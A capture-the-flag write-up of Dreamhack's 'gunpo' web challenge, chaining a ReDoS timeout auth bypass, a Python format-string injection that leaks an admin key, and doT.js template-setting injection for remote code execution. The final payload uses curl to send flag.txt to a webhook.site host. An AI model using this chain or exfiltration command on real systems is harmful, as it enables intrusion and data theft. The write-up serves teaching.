gunpo
Level 7 web exploitation challenge on Dreamhack.io
The Challenge
https://dreamhack.io/wargame/challenges/2212
Solving this challenge took me an embarrassingly long amount of time. It’s a good example of when using your brain is actually more effective than endlessly prompting DeepSeek…
Reading through app.js, we can see that we need to first become a member:
1
2
3
4
5
6
7
8
9
10
11
app.get('/auth',async (req,resp)=>{
let auth=await axios.get('http://127.0.0.1:8001/auth?phone='+req.query.phone)
let auth_data=auth.data
if(auth_data==1){
membership=0
resp.send('not member....')
}else{
membership=1
resp.send('I love U♥')
}
})
Then, we can effectively trigger the /change endpoint to try to leak the admin key:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
app.get('/change',async (req,resp)=>{
let name=req.query.name||"강드림"
let info=req.query.info
if(membership!=1){
name=name.slice(0,5)
info=["membership","only"]
}
let params={
'name':name,
'info':info
}
let change=await axios.get('http://127.0.0.1:8001/change',{params, paramsSerializer: params => qs.stringify(params, { arrayFormat: 'repeat' })})
resp.send(change.data)
})
(The request is sent to this suspicious Python server)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Person:
def __init__(self, name: str, info: list):
self.name=name
self.info=info
def __repr__(self):
return f"{self.name!r}${self.info!r}".format(self=self)
@app.get("/change")
def create(name: str,info: List[str]=Query(default=[])):
global user
try:
data=Person(name,info)
user_info=repr(data).split('$')
except:
user_info="""{"강드림":"['한국', '군포', 'DREAMHACK@ACSC.com','ACSC....']"}"""
user={}
user[user_info[0]]=user_info[1]
del data
return "change!"
The last step after leaking the admin key is to use this suspicious endpoint on app.js to change some arbitrary property on the doT.js templating engine to achieve RCE.
1
2
3
4
5
6
7
8
9
10
11
app.get('/option',(req,resp)=>{
const adminKey=fs.readFileSync('admin.key').toString()
if(adminKey!=req.query.key){
resp.send("admin only")
return
}
let input=req.query
dot[input['option']][input['beauty']]=input['input']
dots=dot.process({path:"./views"})
resp.send("more beauty!")
})
It seems quite impossible to become a member as these functions are just nonsense. Running on port 8001 is this code:
1
2
3
4
5
6
7
8
9
10
11
12
@app.get("/auth")
def auth(phone:str):
if("admin" in phone.lower()):
return 1
try:
data=requests.get("http://localhost:7999/check?phone="+phone,timeout=10)
except:
return
if(data.text=="member"):
return 0
else:
return 1
And running on port 7999 is this code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
app.get('/check',(req,resp)=>{
const phone=req.query.phone
const Pattern=/(01|0|6|9|7|1)*-[0-9]{4}-[0-9]{4}$/
match=Pattern.exec(phone.toLowerCase())
if(match==null){
resp.send(-1)
return
}
if(list.indexOf(match[0])==-1){
resp.send("not member")
return
}
resp.send("member")
})
I’m not even going to try to bypass and authenticate using that regex…
However if you read the Python code closely, it will return nothing and authenticate you as a member if you cause the requests.get call to raise an exception.
How can we achieve this? There’s a timeout=10 on the requests.get call. I immediately thought of ReDoS (Regex DoS) when I saw this.
I found this ReDoS checker (which conveniently gives you a ReDoS payload to use) here: https://devina.io/redos-checker
Submitting that payload to the /auth endpoint, we successfully become a member.
The next step is to somehow leak the admin key.
1
2
3
4
5
6
7
class Person:
def __init__(self, name: str, info: list):
self.name=name
self.info=info
def __repr__(self):
return f"{self.name!r}${self.info!r}".format(self=self) # suspicious
Why is there a .format being used with an f-string? I gave this code to my best friend (DeepSeek) and it gave me a payload to use: {self.__class__.__init__.__globals__[key]}
The f-string runs first, and the string that runs .format looks something like this: {self.__class__.__init__.__globals__[key]}$...
.format sees the curly braces and evaluates the expression in them.
Submitting this as name lets you leak the admin key:
The admin key shows up as your name on the homepage.
Now that have arbitrary property assignment on dot, it shold be quite easy to get RCE… right?
NO!!! I spent the next hour foolishly prompting DeepSeek to give me a payload that would lead to RCE on dot. DeepSeek kept hallucinating up payloads that didn’t actually work, so I decided to look at the dot source code myself: https://github.com/olado/doT/blob/master/doT.js
The dot templating engine writes Javascript code and executes it as a function. I found a possible vector where we could inject our own code easily:
Here we can inject our own code!
The final payload I came up with is: 'hi'));process.mainModule.require('child_process').execSync("curl https://webhook.site/9fa381f7-e53c-49c3-96a8-6c92c51f6d3e/?a=$(cat flag.txt)");//
All we have to do is submit this in the /option endpoint like this: /option?key=403ddb5cad9c0ed7&option=templateSettings&beauty=doNotSkipEncoded&input=%27hi%27));process.mainModule.require(%27child_process%27).execSync("curl https://webhook.site/9fa381f7-e53c-49c3-96a8-6c92c51f6d3e/?a=$(cat flag.txt)");//
Checking the webhook, we finally receive the flag.


